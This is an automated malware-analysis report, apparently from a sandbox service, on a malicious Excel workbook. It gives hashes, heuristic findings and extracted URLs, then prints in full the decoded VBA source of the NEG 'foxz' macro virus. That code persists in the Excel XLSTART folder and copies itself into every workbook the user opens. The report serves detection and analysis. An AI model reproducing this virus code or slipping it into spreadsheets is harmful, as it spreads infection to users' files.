Office (OLE) / .XLS malware analysis — malicious · b14830c7fadf6298

MALICIOUS

Office (OLE) / .XLS

3.13 MB First seen: 2026-06-15

MD5: 274df4e6180d885b5128fdc4b6b3d093 SHA-1: 0d59cfced2849c0369e645299e1efa7e7e0a4f8f SHA-256: b14830c7fadf62988e74fd50283be516e4ae24194bc3ff4df0807f527082d066

110 Risk Score

Heuristics 5

VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE

The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
Matched line in script
```
    ChDir Application.StartupPath
```
VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER

The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
Matched line in script
```
    Application.OnSheetActivate = "check_files"
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub auto_open()
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://vbpl.vn/danang In document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=152371&Keyword=%C4%90%E1%BB%8Bnh%20m%E1%BB%A9c%2012/2021In document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=140374&Keyword=%C4%90%E1%BB%8Bnh%20m%E1%BB%A9c%2010/2019In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=36&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=87&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=33&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=32&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2620&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=654&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=641&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=615&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2880&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2889&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2602&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2601&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2567&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2471&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2533&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=460&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=494&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2591&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=677&TypeVB=0In document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=152328&Keyword=Th%C3%B4ng%20t%C6%B0%2006%20BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=152364&Keyword=Th%C3%B4ng%20t%C6%B0%2011/2021%20BXD0In document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=152371&Keyword=Th%C3%B4ng%20t%C6%B0%2012/2021%20BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=152380&Keyword=Th%C3%B4ng%20t%C6%B0%2013/2021%20BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=138880&Keyword=Th%C3%B4ng%20t%C6%B0%2007/2019%20BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=140314&Keyword=Th%C3%B4ng%20t%C6%B0%2009/2019%20BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=140320&Keyword=Th%C3%B4ng%20t%C6%B0%2011/2019%20BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=140302&Keyword=Th%C3%B4ng%20t%C6%B0%2015/2019%20BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=140303&Keyword=Th%C3%B4ng%20t%C6%B0%2016/2019%20BXDIn document text (OLE body)
- http://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=541&TypeVB=1In document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=120711&Keyword=Th%C3%B4ng%20t%C6%B0%2001/2017/TT-BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=111830&Keyword=Th%C3%B4ng%20t%C6%B0%2005/2016/TT-BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=111957&Keyword=Th%C3%B4ng%20t%C6%B0%2006/2016/TT-BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=111052&Keyword=Th%C3%B4ng%20t%C6%B0%2007/2016/TT-BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=27050&Keyword=Th%C3%B4ng%20t%C6%B0%2004/2010/TT-BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=31696&Keyword=Th%C3%B4ng%20t%C6%B0%2006/2010/TT-BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-van-ban-goc.aspx?ItemID=142703&Keyword=Th%C3%B4ng%20t%C6%B0%2010/2020/TT-BTCIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-van-ban-goc.aspx?ItemID=110950&Keyword=Th%C3%B4ng%20t%C6%B0%2008/2016/TT-BTCIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-van-ban-goc.aspx?ItemID=119128&Keyword=Th%C3%B4ng%20t%C6%B0%20195/2016/TT-BTCIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-van-ban-goc.aspx?ItemID=119141&Keyword=Th%C3%B4ng%20t%C6%B0%20209/2016/TT-BTCIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-van-ban-goc.aspx?ItemID=119143&Keyword=Th%C3%B4ng%20t%C6%B0%20210/2016/TT-BTCIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=118915&Keyword=Th%C3%B4ng%20t%C6%B0%20329/2016/TT-BTCIn document text (OLE body)
- https://www.petrolimex.com.vn/ndi/thong-cao-bao-chi.htmlIn document text (OLE body)
- https://www.evn.com.vn/d/vi-VN/news-pdf/Quyet-dinh-so-1279QD-BCT-ngay-0952025-cua-Bo-Cong-Thuong-quy-dinh-ve-gia-ban-dien--60-28-502665In document text (OLE body)
- https://mic.gov.vn/Pages/vanban/chitietvanban.aspx?IDVB=13839In document text (OLE body)
- http://vanban.chinhphu.vn/portal/page/portal/chinhphu/hethongvanban?class_id=1&_page=1&mode=detail&document_id=202663In document text (OLE body)
- http://vanban.chinhphu.vn/portal/page/portal/chinhphu/hethongvanban?class_id=1&_page=1&mode=detail&document_id=198941In document text (OLE body)
- http://vanban.chinhphu.vn/portal/page/portal/chinhphu/hethongvanban?class_id=1&_page=1&mode=detail&document_id=197619In document text (OLE body)
+4 more URL(s)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1957 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1957 bytes
SHA-256: `22157ea344414107b300306e4a3cab51703b948fa3ba5574061c34d499e1c72a`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "foxz" 'donwload NEG!!! NoMercyExcelGenerator form NoMercyPage! 'foxz@usa.net Sub auto_open() Attribute auto_open.VB_Description = "\n\n \n\n\n�\n" Application.OnSheetActivate = "check_files" End Sub Sub check_files() Attribute check_files.VB_Description = "\n\n \n\n\n�\n" c$ = Application.StartupPath m$ = Dir(c$ & "\" & "NEGS.XLS") If m$ = "NEGS.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 Select Case whichfile Case 10 Application.ScreenUpdating = False n4$ = ActiveWorkbook.Name Sheets("foxz").Visible = True Sheets("foxz").Select Sheets("foxz").Copy With ActiveWorkbook .Title = "" .Subject = "" .Author = "" .Keywords = "" .Comments = "infected by NEG Promo!" End With newname$ = ActiveWorkbook.Name c4$ = CurDir() ChDir Application.StartupPath ActiveWindow.Visible = False Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "NEGS.XLS", FileFormat:=xlNormal _ , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _ False, CreateBackup:=False ChDir c4$ Workbooks(n4$).Sheets("foxz").Visible = False Application.OnSheetActivate = "" Application.ScreenUpdating = True Application.OnSheetActivate = "NEGS.XLS!check_files" Case 1 Application.ScreenUpdating = False n4$ = ActiveWorkbook.Name p4$ = ActiveWorkbook.Path s$ = Workbooks(n4$).Sheets(1).Name If s$ <> "foxz" Then Workbooks("NEGS.XLS").Sheets("foxz").Copy before:=Workbooks(n4$).Sheets(1) Workbooks(n4$).Sheets("foxz").Visible = False Else End If Application.OnSheetActivate = "" Application.ScreenUpdating = True Application.OnSheetActivate = "NEGS.XLS!check_files" Case Else End Select End Sub

SHA-256: 22157ea344414107b300306e4a3cab51703b948fa3ba5574061c34d499e1c72a

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "foxz"

'donwload NEG!!! NoMercyExcelGenerator form NoMercyPage!
'foxz@usa.net


Sub auto_open()
Attribute auto_open.VB_Description = "\n\n \n\n\n�\n"
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
Attribute check_files.VB_Description = "\n\n \n\n\n�\n"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "NEGS.XLS")
    If m$ = "NEGS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("foxz").Visible = True
    Sheets("foxz").Select
    Sheets("foxz").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = "infected by NEG Promo!"
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "NEGS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("foxz").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "NEGS.XLS!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "foxz" Then
        Workbooks("NEGS.XLS").Sheets("foxz").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("foxz").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "NEGS.XLS!check_files"
    Case Else
End Select
End Sub

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